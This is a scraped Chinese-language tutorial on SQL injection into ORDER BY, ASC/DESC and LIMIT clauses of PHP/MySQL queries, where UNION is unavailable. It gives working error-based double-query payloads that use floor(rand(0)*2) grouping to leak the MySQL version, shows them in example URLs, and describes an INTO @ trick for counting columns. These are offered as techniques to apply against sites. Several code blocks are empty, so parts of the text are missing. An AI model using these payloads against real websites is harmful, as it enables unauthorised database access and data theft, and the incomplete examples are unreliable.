好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

“不正确的使用union和order by”这个教程会指示你

在写翻译下面这文档的时候,既然鬼使神差的发现了dz和de的xday,当然鸡肋,也繁琐。

 

类似的代码

php code

SELET * FROM page WHERE id=1 ORDER BY id [参数] ASC [参数] LIMIT 10,10 [参数]

[参数] – 为存在注入的参数

我们不能在这注入上使用union,所以我们只能使用其他我们可以利用的

 

在order by id [参数] 之后使用双重查询

 

假设有以下网站

code:

http://HdhCmsTestdomain测试数据/include/products.php?sb=id–这是id是在order by [id]的一个注入点

 

我知道我可以利用union在另外一个注入点,我要做这样的测试

在order by之后,我们唯一不能使用——unoin,having,where,and还有一些无关紧要的关键字

我们可以使用and进行双重查询

Code:

 

http://HdhCmsTestdomain测试数据/include/products.php?sb=id and (select count(*) from products group by concat(version(),0x27202020,floor(rand(0)*2-1)))--'5.0.95-community'

(我用’products’这个表,因为我可以从这个表中看到存在的错误,如果你看不到表,可以使用’information_schema.columns’)

 

在desc/asc [参数] 之后使用双重查询

 

假设有以下网站

code:

http://HdhCmsTestdomain测试数据/include/products.php?sb=id–这是id是在desc [id]的一个注入点

在desc/asc之后它的小问题,因为我们不可以使用——union,having,where,and,or,xor,*,>,所以我们不能执行查询命令

所以我们只要加上一个’,'就可以和语句进行查询了

Code:

 

http://HdhCmsTestdomain测试数据/include/products.php?sb=id desc,(select count(*) from users group by concat(version(),0x27202020,floor(rand(0)*2-1)))'5.0.95-community'

假设注入如下

PHP Code:

SELECT * FROM page WHERE id=1 ORDER BY [参数] id

添加’1′就可以和最初一样注入了

Code:

1 and (select count(*) from products group by concat(version(),0×27202020,floor(rand(0)*2-1)))–

在limit 10,10 [参数]之后

使用一些技巧

 

假设有以下网址

Code:

 

–注入点在是limit 10这样的形式

当注入点在limit之后,我们什么都做不了,只有以下这些命令

 

offset,into,into outfile/dumpfile,/*!*/,for update,lock in share mode

所以我们想试试我们能利用的

如下:

获取版本

爆出路径

获取字段总数

 

获取版本

我们可以利用评论去获取mysql的版本

我们可以手工去猜它,如果它返回正确,那么页面将不会载入,就像盲注一样,但是有区别

Code:

Code:

Code:

 

爆出完整路径,我们可以用0或/**/这样的like格式,就可以爆出完整的路径,即便是mysql上报错也可以

Code:

 

http://HdhCmsTestdomain测试数据/include/products.php?rw=0–这是完整的命令

 

PHP Code:

 

我们也可以这样

Code:

 

提示报错

 

获取字段总数

使用into

它不会真正帮助到我们,但是它是一个不错的技巧

假设我们有以下的网站

Code:

 

http://HdhCmsTestdomain测试数据/include/products.php?rw=10--注射点在like的参数里

我们可以这样获取到字段总数

Code:

 

http://HdhCmsTestdomain测试数据/include/products.php?rw=10 into @

提示报错

error 1222.

not 1 column.

继续递增@

Code:

 

http://HdhCmsTestdomain测试数据/include/products.php?rw=10 into @,@

……

……

http://HdhCmsTestdomain测试数据/include/products.php?rw=10 into @,@,[n..]

一直到返回以下这样的错误

 

error 1172 "Result consisted of more than one row"

则可以确定有多少个字段

 

希望大家在这些技巧里能学到东西。

查看更多关于“不正确的使用union和order by”这个教程会指示你的详细内容...

  阅读:44次